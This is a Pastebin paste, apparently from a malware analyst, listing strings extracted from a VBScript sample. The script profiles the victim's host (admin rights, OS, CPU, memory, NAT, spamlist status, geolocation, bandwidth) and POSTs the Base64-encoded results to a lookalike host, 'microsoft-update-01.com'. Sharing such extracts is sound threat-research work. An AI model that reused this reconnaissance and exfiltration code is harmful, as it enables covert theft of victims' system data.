Advertisement
dgallagher

Malware Hunting - 06-10-2016

Jun 10th, 2016
719
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.53 KB | None | 0 0
  1. ASCII Strings:
  2. =====================
  3. ' output json
  4. RESULT = "
  5. vbCrLf
  6. ' debug init
  7. server_ip = "0.0.0.0"
  8. user_name = "unknow_user"
  9. if Wscript.Arguments.Count > 0 then
  10. server_ip = WScript.Arguments(0)
  11. user_name = WScript.Arguments(1)
  12. end if
  13. RESULT = RESULT
  14. vbTab
  15. """address"" : """
  16. server_ip
  17. ""","
  18. vbCrLf
  19. RESULT = RESULT
  20. vbTab
  21. """user_name"" : """
  22. user_name
  23. ""","
  24. vbCrLf
  25. if Wscript.Arguments.Count >= 3 then
  26. stage = WScript.Arguments(2)
  27. Set objFSO = Createobject("Scripting.FileSystemObject")
  28. Set file = objFSO.OpenTextFile("out.txt", 1)
  29. content = file.ReadAll
  30. RESULT = RESULT
  31. content
  32. vbCrLf
  33. RESULT = RESULT
  34. vbTab
  35. """stage"" : 3"
  36. vbCrLf
  37. RESULT = RESULT
  38. vbCrLf
  39. WScript.Echo RESULT
  40. data = Base64Encode(RESULT)
  41. answer = WinHTTPPostRequest_10times("http://microsoft-update-01.com/mmrdp/set_info.php", "data="
  42. data)
  43. WScript.Quit
  44. end if
  45. ' get domain
  46. Set wshShell = CreateObject( "WScript.Shell" )
  47. strUserDomain = wshShell.ExpandEnvironmentStrings( "%USERDOMAIN%" )
  48. RESULT = RESULT
  49. vbTab
  50. """domain"" : """
  51. strUserDomain
  52. ""","
  53. vbCrLf
  54. ' get admin
  55. Sub GetUserFromSID(BYVAL strSID, BYVAL objWMI, BYREF strUserName, BYREF strDomainName)
  56. Dim objSID : Set objSID = objWMI.Get("Win32_SID='"
  57. strSID
  58. strUserName = objSID.AccountName
  59. strDomainName = objSID.ReferencedDomainName
  60. On Error Goto 0
  61. If strDomainName = "NT AUTHORITY" Then strDomainName = GetHostname() 'so it matches active user queries
  62. End Sub
  63. Sub IsAdmin(BYREF is_admin)
  64. On Error Resume Next
  65. ' check admin privs
  66. Dim objWMI : Set objWMI = GetObject("winmgmts:")
  67. If Err.Number <> 0 Then
  68. is_admin = "false"
  69. Err.Clear
  70. Exit Sub
  71. End If
  72. admin_un = ""
  73. domain_un = ""
  74. sid = "S-1-5-32-544" ' local admins group
  75. GetUserFromSID sid, objWMI, admin_un, domain_un
  76. Set objNetwork = CreateObject("Wscript.Network")
  77. strComputer = objNetwork.ComputerName
  78. strUser = objNetwork.UserName
  79. isAdministrator = "false"
  80. Set objGroup = GetObject("WinNT://"
  81. strComputer
  82. admin_un
  83. ",group")
  84. For Each objUser in objGroup.Members
  85. rem WScript.Echo objUser.Name
  86. If lcase(objUser.Name) = lcase(strUser) Then
  87. isAdministrator = "true"
  88. End If
  89. if lcase(objUser.class) = "group" then
  90. rem WScript.Echo objUser.Name
  91. " - group"
  92. Set objGroup_g = GetObject("WinNT://"
  93. strUserDomain
  94. objUser.Name
  95. ",group")
  96. For Each objUser_g in objGroup_g.Members
  97. rem WScript.Echo ">"
  98. objUser_g.Name
  99. If lcase(objUser_g.Name) = lcase(strUser) Then
  100. isAdministrator = "true"
  101. End If
  102. end if
  103. End Sub
  104. isAdministrator = "false"
  105. IsAdmin isAdministrator
  106. RESULT = RESULT
  107. vbTab
  108. """is_administrator"" : "
  109. isAdministrator
  110. vbCrLf
  111. Version = wshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
  112. RESULT = RESULT
  113. vbTab
  114. """os_version"" : """
  115. Version
  116. ""","
  117. vbCrLf
  118. Dim WshProcEnv
  119. Dim system_architecture
  120. Dim process_architecture
  121. Set WshProcEnv = wshShell.Environment("Process")
  122. process_architecture= WshProcEnv("PROCESSOR_ARCHITECTURE")
  123. If process_architecture = "x86" Then
  124. system_architecture= WshProcEnv("PROCESSOR_ARCHITEW6432")
  125. If system_architecture = "" Then
  126. system_architecture = "x86"
  127. End if
  128. Else
  129. system_architecture = process_architecture
  130. End If
  131. RESULT = RESULT
  132. vbTab
  133. """os_arch"" : """
  134. system_architecture
  135. ""","
  136. vbCrLf
  137. '//////////////////////////////////////////////////////////////////////////////
  138. server_ip_components = Split(server_ip, ".")
  139. server_ip_reversed = ""
  140. For i = 0 to UBound(server_ip_components)
  141. If i <> 0 Then
  142. server_ip_reversed = "."
  143. server_ip_reversed
  144. End If
  145. server_ip_reversed = server_ip_components(i)
  146. server_ip_reversed
  147. function dns_is_resolved(dns_name)
  148. Set objFSO = CreateObject("Scripting.FileSystemObject")
  149. strComputer = dns_name
  150. dns_is_resolved = "false"
  151. Set objPing = GetObject("winmgmts:
  152. impersonationLevel=impersonate
  153. ").ExecQuery("select Replysize from Win32_PingStatus where address = '"
  154. strComputer
  155. For Each objStatus In objPing
  156. If IsNull(objStatus.ReplySize) Then
  157. dns_is_resolved = "false"
  158. dns_is_resolved = "true"
  159. end if
  160. exit for
  161. end function
  162. sub check_spam_list_and_store(list_name, name_postfix)
  163. spam_list_name = list_name
  164. spam_list_value = dns_is_resolved(server_ip_reversed
  165. name_postfix)
  166. RESULT = RESULT
  167. vbTab
  168. vbTab
  169. """"
  170. spam_list_name
  171. """ : "
  172. spam_list_value
  173. vbCrLf
  174. end sub
  175. sub check_spam_lists()
  176. RESULT = RESULT
  177. vbTab
  178. """spam_data"" :"
  179. vbCrLf
  180. RESULT = RESULT
  181. vbTab
  182. vbCrLf
  183. check_spam_list_and_store "Spamhaus SBL", ".sbl.spamhaus.org"
  184. check_spam_list_and_store "Spamhaus PBL", ".pbl.spamhaus.org"
  185. check_spam_list_and_store "Sorbs.net", ".dnsbl.sorbs.net"
  186. check_spam_list_and_store "Spamcop", ".bl.spamcop.net"
  187. check_spam_list_and_store "South Korean NBL", ".korea.services.net"
  188. check_spam_list_and_store "Barracuda BBL", ".b.barracudacentral.org"
  189. RESULT = RESULT
  190. vbTab
  191. vbTab
  192. """terminator"" : 0"
  193. vbCrLf
  194. RESULT = RESULT
  195. vbTab
  196. vbCrLf
  197. end sub
  198. '//////////////////////////////////////////////////////////////////////////////
  199. Function getWMIInfo()
  200. On Error Resume Next
  201. check_spam_lists()
  202. Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
  203. if objWMIService then
  204. WScript.Echo "wmi is work"
  205. RESULT = RESULT
  206. vbTab
  207. """use_wmi"" : true,"
  208. vbCrLf
  209. WScript.Echo "wmi is not work"
  210. RESULT = RESULT
  211. vbTab
  212. """use_wmi"" : false,"
  213. vbCrLf
  214. exit Function
  215. end if
  216. Set colCompSysItems = objWMIService.ExecQuery("SELECT
  217. FROM Win32_ComputerSystem",,48)
  218. For Each objCompSysItem in colCompSysItems
  219. TotalMemory = objCompSysItem.TotalPhysicalMemory 'FormatNumber(objCompSysItem.TotalPhysicalMemory / 1024
  220. 3, 2)
  221. RESULT = RESULT
  222. vbTab
  223. """memory"" : "
  224. Replace(TotalMemory, ",", ".")
  225. vbCrLf
  226. Exit For
  227. objProcItem_Name = ""
  228. objProcItem_Count = 0
  229. objProcItem_NumberOfCores = 0
  230. CPUArch = ""
  231. Set colProcItems = objWMIService.ExecQuery( "SELECT
  232. FROM Win32_Processor",,48)
  233. For Each objProcItem in colProcItems
  234. objProcItem_Name = objProcItem.Name
  235. objProcItem_NumberOfCores = objProcItem.NumberOfCores
  236. objProcItem_Count = objProcItem_Count
  237. Select Case objProcItem.Architecture
  238. Case 0 CPUArch = "x86"
  239. Case 1 CPUArch = "MIPS"
  240. Case 2 CPUArch = "Alpha"
  241. Case 3 CPUArch = "PowerPC"
  242. Case 6 CPUArch = "Itanium"
  243. Case 9 CPUArch = "x64"
  244. Case Else
  245. CPUArch = "Could Not Determine CPU Architecture"
  246. End Select
  247. RESULT = RESULT
  248. vbTab
  249. """cpu"" : """
  250. objProcItem_Name
  251. " ("
  252. CPUArch
  253. ") "
  254. objProcItem_Count
  255. objProcItem_NumberOfCores
  256. " cores"
  257. ""","
  258. vbCrLf
  259. Set colNetAdapConfigItems = objWMIService.ExecQuery("SELECT
  260. FROM Win32_NetworkAdapterConfiguration",,48)
  261. 'RESULT = RESULT
  262. vbTab
  263. """local_ip_addresses"" :"
  264. vbCrLf
  265. 'RESULT = RESULT
  266. vbTab
  267. vbCrLf
  268. is_nat = "true"
  269. For Each objNetAdapConfigItem in colNetAdapConfigItems
  270. If isNull(objNetAdapConfigItem.IPAddress) Then
  271. '// Skip adapter, not currently used
  272. For Each ip_address in objNetAdapConfigItem.IPAddress
  273. if ip_address = server_ip then
  274. is_nat = "false"
  275. end if
  276. 'RESULT = RESULT
  277. vbTab
  278. vbTab
  279. ""ip_address"" : """
  280. ip_address
  281. vbCrLf
  282. End If
  283. 'RESULT = RESULT
  284. vbTab
  285. vbCrLf
  286. RESULT = RESULT
  287. vbTab
  288. """is_nat"" : "
  289. is_nat
  290. vbCrLf
  291. Set colOperatingSystems = objWMIService.ExecQuery("Select
  292. from Win32_OperatingSystem")
  293. For Each objOS in colOperatingSystems
  294. dtmBootup = objOS.LastBootUpTime
  295. dtmLastBootupTime = CDate(Mid(dtmBootup, 5, 2)
  296. Mid(dtmBootup, 7, 2)
  297. Left(dtmBootup, 4)
  298. Mid (dtmBootup, 9, 2)
  299. Mid(dtmBootup, 11, 2)
  300. Mid(dtmBootup,13, 2))
  301. RESULT = RESULT
  302. vbTab
  303. """boot_time"" : """
  304. dtmLastBootupTime
  305. ""","
  306. vbCrLf
  307. Next
  308. End Function
  309. getWMIInfo()
  310. RESULT = RESULT
  311. vbTab
  312. """check_time"" : """
  313. ""","
  314. vbCrLf
  315. geo_data = """undefined"""
  316. function get_mid_strings(string_, part_pre, part_post)
  317. position_from = InStr(string_, part_pre)
  318. if position_from = 0 then
  319. get_mid_strings = ""
  320. end if
  321. position_from = position_from
  322. len(part_pre)
  323. 'WScript.Echo position_from
  324. position_to = InStr(position_from, string_, part_post)
  325. 'WScript.Echo position_to
  326. data = Mid(string_, position_from, position_to - position_from)
  327. 'WScript.Echo data
  328. get_mid_strings = data
  329. end function
  330. function my_get_all_substrings(string_, part_pre, part_post)
  331. offset = 1
  332. result_strings = array()
  333. Do while true
  334. position_from = InStr(offset, string_, part_pre)
  335. if position_from = 0 then
  336. exit do
  337. 'get_mid_strings = 0
  338. end if
  339. position_from = position_from'
  340. len(part_pre)
  341. 'WScript.Echo position_from
  342. position_to = InStr(position_from, string_, part_post)
  343. 'WScript.Echo string_
  344. 'WScript.Echo position_to
  345. data = Mid(string_, position_from, position_to - position_from
  346. len(part_post))
  347. 'WScript.Echo data
  348. ReDim Preserve result_strings(UBound(result_strings)
  349. result_strings(UBound(result_strings)) = data
  350. offset = position_to
  351. my_get_all_substrings = result_strings
  352. end function
  353. '//////////////////////////////////////////////////////////////////////////////
  354. RESULT = RESULT
  355. vbTab
  356. """geo_data"" :"
  357. vbCrLf
  358. RESULT = RESULT
  359. vbTab
  360. vbCrLf
  361. geo_data = WinHTTPGetRequest_10times("http://ip-score.com/checkip/"
  362. server_ip)
  363. 'WScript.Echo geo_data
  364. part_pre = "<div id=""MaxMind"">"
  365. part_post = "</div>"
  366. geo_part = get_mid_strings(geo_data, part_pre, part_post)
  367. part_pre_line = "<p><em>"
  368. part_post_line = "</p>"
  369. parts = my_get_all_substrings(geo_part, part_pre_line, part_post_line)
  370. first_key = "Country"
  371. first_value = trim(get_mid_strings(parts(0), """>", "</p>"))
  372. RESULT = RESULT
  373. vbTab
  374. vbTab
  375. """"
  376. first_key
  377. """ : """
  378. first_value
  379. ""","
  380. vbCrLf
  381. is_first = true
  382. for Each part in parts
  383. if is_first then
  384. is_first = false
  385. 'WScript.Echo part
  386. key = trim(get_mid_strings(part, "<em>", ":<"))
  387. 'WScript.Echo key
  388. value = trim(get_mid_strings(part, "</em> ", "<"))
  389. value = Replace(value, ",", "")
  390. value = Replace(value, "\", "/")
  391. value = Replace(value, "'", "")
  392. 'WScript.Echo value
  393. RESULT = RESULT
  394. vbTab
  395. vbTab
  396. """"
  397. """ : """
  398. value
  399. ""","
  400. vbCrLf
  401. end if
  402. RESULT = RESULT
  403. vbTab
  404. vbTab
  405. """source"" : ""ip-score.com"""
  406. vbCrLf
  407. RESULT = RESULT
  408. vbTab
  409. vbCrLf
  410. '//////////////////////////////////////////////////////////////////////////////
  411. WScript.Echo "download test start"
  412. randomize
  413. postfix = int(rnd
  414. 1000000)
  415. pre_t = Timer
  416. 'WScript.Echo pre_t
  417. download_file("http://uk.download.nvidia.com/freebsd/173.14.39/NVIDIA-FreeBSD-x86-173.14.39.tar.gz"
  418. postfix)
  419. d_t = Timer - pre_t
  420. 'WScript.Echo Timer
  421. 'WScript.Echo d_t
  422. download_speed = 20038266 / CDbl(d_t) '/ 1024 / 1024
  423. 'WScript.Echo download_speed
  424. RESULT = RESULT
  425. vbTab
  426. """download_speed"" : "
  427. int(download_speed)
  428. vbCrLf
  429. WScript.Echo "download test stop"
  430. '//////////////////////////////////////////////////////////////////////////////////////////////////
  431. WScript.Echo "upload test start"
  432. CreateFile
  433. pre_t = Timer
  434. 'WScript.Echo pre_t
  435. er = upload_file_("http://posttestserver.com/post.php", "tempfile.txt")
  436. d_t = Timer - pre_t
  437. 'WScript.Echo Timer
  438. 'WScript.Echo d_t
  439. upload_speed = 2149548 / CDbl(d_t) '/ 1024 / 1024
  440. 'WScript.Echo download_speed
  441. RESULT = RESULT
  442. vbTab
  443. """upload_speed"" : "
  444. int(upload_speed)
  445. vbCrLf
  446. WScript.Echo "upload test stop"
  447. '//////////////////////////////////////////////////////////////////////////////////////////////////
  448. Sub CreateFile()
  449. Dim fso, tf
  450. Set fso = CreateObject("Scripting.FileSystemObject")
  451. Set tf = fso.CreateTextFile("tempfile.txt", True)
  452. for n = 1 to 1024
  453. 1024
  454. 2 / 40
  455. 'postfix = int(CInt("0")
  456. (CInt("9") - CInt("0")))
  457. tf.Write( "0123456789qwertyuiop[]asdfghjkl
  458. '\zxcvbxn")
  459. tf.Close
  460. End Sub
  461. function download_file(url)
  462. ' Set your settings
  463. strFileURL = url
  464. REM strHDLocation = ""
  465. ' Fetch the file
  466. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  467. objXMLHTTP.open "GET", strFileURL, false
  468. objXMLHTTP.SetRequestHeader "Cache-Control", "no-store, no-cache"
  469. objXMLHTTP.SetRequestHeader "Pragma", "no-cache"
  470. objXMLHTTP.SetRequestHeader "Content-Encoding", "identity"
  471. objXMLHTTP.send()
  472. Do While objXMLHTTP.readyState <> 4
  473. DoEvents
  474. Loop
  475. If objXMLHTTP.Status = 200 Then
  476. REM Set objADOStream = CreateObject("ADODB.Stream")
  477. REM objADOStream.Open
  478. REM objADOStream.Type = 1 'adTypeBinary
  479. REM objADOStream.Write objXMLHTTP.ResponseBody
  480. REM objADOStream.Position = 0 'Set the stream position to the start
  481. REM Set objFSO = Createobject("Scripting.FileSystemObject")
  482. REM strHDLocation = objFSO.GetFileName(strFileURL)
  483. REM If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  484. REM Set objFSO = Nothing
  485. REM objADOStream.SaveToFile strHDLocation
  486. REM objADOStream.Close
  487. REM Set objADOStream = Nothing
  488. End if
  489. Set objXMLHTTP = Nothing
  490. end function
  491. function upload_file_(url, filename)
  492. Dim objStream
  493. Set objStream = CreateObject("ADODB.Stream")
  494. objStream.Type = 1 ' adTypeBinary
  495. objStream.Open
  496. objStream.LoadFromFile filename
  497. sData = objStream.Read 'read binary'
  498. objStream.Close
  499. Set objStream = Nothing
  500. dim xmlhttp
  501. set xmlhttp = createobject("MSXML2.XMLHTTP.3.0")
  502. strURL = url
  503. filename
  504. xmlhttp.Open "POST", strURL, false
  505. xmlhttp.SetRequestHeader "Cache-Control", "no-store, no-cache"
  506. xmlhttp.SetRequestHeader "Pragma", "no-cache"
  507. xmlhttp.SetRequestHeader "Content-Encoding", "identity"
  508. xmlhttp.Send sData
  509. set xmlhttp = Nothing
  510. End function
  511. function http_post_10times(URL, FormData)
  512. On Error Resume Next
  513. end function
  514. function WinHTTPPostRequest_10times(URL, FormData)
  515. for i = 1 to 10
  516. rv = WinHTTPPostRequest(URL, FormData)
  517. if rv <> "" then
  518. WScript.Echo "WinHTTPPostRequest try "
  519. " success"
  520. WinHTTPPostRequest_10times = rv
  521. exit function
  522. end if
  523. WScript.Echo "WinHTTPPostRequest try "
  524. " error"
  525. end function
  526. 'sends multipart/form-data To the URL using WinHttprequest/XMLHTTP
  527. 'FormData - binary (VT_UI1
  528. VT_ARRAY) multipart form data
  529. Function WinHTTPPostRequest(URL, FormData)
  530. On Error Resume Next
  531. WinHTTPPostRequest = ""
  532. Dim http 'As New MSXML2.XMLHTTP
  533. 'Create XMLHTTP/ServerXMLHTTP/WinHttprequest object
  534. 'You can use any of these three objects.
  535. 'Set http = CreateObject("WinHttp.WinHttprequest.5")
  536. Set http = CreateObject("MSXML2.XMLHTTP")
  537. 'Set http = CreateObject("MSXML2.ServerXMLHTTP")
  538. 'Open URL As POST request
  539. http.Open "POST", URL, False
  540. 'Set Content-Type header
  541. http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
  542. http.setRequestHeader "Content-Length", Len(FormData)
  543. 'Send the form data To URL As POST binary request
  544. http.send FormData
  545. If Err.Number <> 0 Then
  546. WScript.Echo Err.Number
  547. " Srce: "
  548. Err.Source
  549. " Desc: "
  550. Err.Description
  551. Err.Clear
  552. exit function
  553. End If
  554. 'Get a result of the script which has received upload
  555. WinHTTPPostRequest = http.responseText
  556. End Function
  557. function WinHTTPGetRequest_10times(URL)
  558. for i = 1 to 10
  559. 'WScript.Echo "pre step"
  560. rv = WinHTTPGetRequest(URL)
  561. 'WScript.Echo "return"
  562. if rv <> "" then
  563. WScript.Echo "WinHTTPGetRequest try "
  564. " success"
  565. WinHTTPGetRequest_10times = rv
  566. exit function
  567. end if
  568. WScript.Echo "WinHTTPGetRequest try "
  569. " error"
  570. end function
  571. Function WinHTTPGetRequest(URL)
  572. On Error Resume Next
  573. WinHTTPGetRequest = ""
  574. Dim http 'As New MSXML2.XMLHTTP
  575. 'Create XMLHTTP/ServerXMLHTTP/WinHttprequest object
  576. 'You can use any of these three objects.
  577. 'Set http = CreateObject("WinHttp.WinHttprequest.5")
  578. Set http = CreateObject("MSXML2.XMLHTTP")
  579. 'Set http = CreateObject("MSXML2.ServerXMLHTTP")
  580. 'Open URL As POST request
  581. http.Open "GET", URL, False
  582. 'Set Content-Type header
  583. 'http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
  584. 'http.setRequestHeader "Content-Length", Len(FormData)
  585. http.send
  586. If Err.Number <> 0 Then
  587. WScript.Echo Err.Number
  588. " Srce: "
  589. Err.Source
  590. " Desc: "
  591. Err.Description
  592. Err.Clear
  593. exit function
  594. End If
  595. 'Get a result of the script which has received upload
  596. WinHTTPGetRequest = http.responseText
  597. End Function
  598. RESULT = RESULT
  599. vbTab
  600. """stage"" : 2"
  601. vbCrLf
  602. RESULT = RESULT
  603. vbCrLf
  604. WScript.Echo RESULT
  605. data = Base64Encode(RESULT)
  606. Function Base64Encode(sText)
  607. Dim oXML, oNode
  608. Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  609. Set oNode = oXML.CreateElement("base64")
  610. oNode.dataType = "bin.base64"
  611. oNode.nodeTypedValue =Stream_StringToBinary(sText)
  612. Base64Encode = oNode.text
  613. Set oNode = Nothing
  614. Set oXML = Nothing
  615. End Function
  616. Function Base64Decode(ByVal vCode)
  617. Dim oXML, oNode
  618. Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  619. Set oNode = oXML.CreateElement("base64")
  620. oNode.dataType = "bin.base64"
  621. oNode.text = vCode
  622. Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
  623. Set oNode = Nothing
  624. Set oXML = Nothing
  625. End Function
  626. 'Stream_StringToBinary Function
  627. '2003 Antonin Foller, http://www.motobit.com
  628. 'Text - string parameter To convert To binary data
  629. Function Stream_StringToBinary(Text)
  630. Const adTypeText = 2
  631. Const adTypeBinary = 1
  632. 'Create Stream object
  633. Dim BinaryStream 'As New Stream
  634. Set BinaryStream = CreateObject("ADODB.Stream")
  635. 'Specify stream type - we want To save text/string data.
  636. BinaryStream.Type = adTypeText
  637. 'Specify charset For the source text (unicode) data.
  638. BinaryStream.CharSet = "Windows-1251"
  639. 'Open the stream And write text/string data To the object
  640. BinaryStream.Open
  641. BinaryStream.WriteText Text
  642. 'Change stream type To binary
  643. BinaryStream.Position = 0
  644. BinaryStream.Type = adTypeBinary
  645. 'Ignore first two bytes - sign of
  646. BinaryStream.Position = 0
  647. 'Open the stream And get binary data from the object
  648. Stream_StringToBinary = BinaryStream.Read
  649. Set BinaryStream = Nothing
  650. End Function
  651. 'Stream_BinaryToString Function
  652. '2003 Antonin Foller, http://www.motobit.com
  653. 'Binary - VT_UI1
  654. VT_ARRAY data To convert To a string
  655. Function Stream_BinaryToString(Binary)
  656. Const adTypeText = 2
  657. Const adTypeBinary = 1
  658. 'Create Stream object
  659. Dim BinaryStream 'As New Stream
  660. Set BinaryStream = CreateObject("ADODB.Stream")
  661. 'Specify stream type - we want To save binary data.
  662. BinaryStream.Type = adTypeBinary
  663. 'Open the stream And write binary data To the object
  664. BinaryStream.Open
  665. BinaryStream.Write Binary
  666. 'Change stream type To text/string
  667. BinaryStream.Position = 0
  668. BinaryStream.Type = adTypeText
  669. 'Specify charset For the output text (unicode) data.
  670. BinaryStream.CharSet = "Windows-1251"
  671. 'Open the stream And get text/string data from the object
  672. Stream_BinaryToString = BinaryStream.ReadText
  673. Set BinaryStream = Nothing
  674. End Function
  675. answer = WinHTTPPostRequest_10times("http://microsoft-update-01.com/mmrdp/set_info.php", "data="
  676. data)
  677. REM WScript.Echo answer
  678. REM outFile = "test.txt"
  679. REM Set objFSO = Createobject("Scripting.FileSystemObject")
  680. REM Set objFile = objFSO.CreateTextFile(outFile, True)
  681. REM objFile.Write answer
  682. REM objFile.Close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement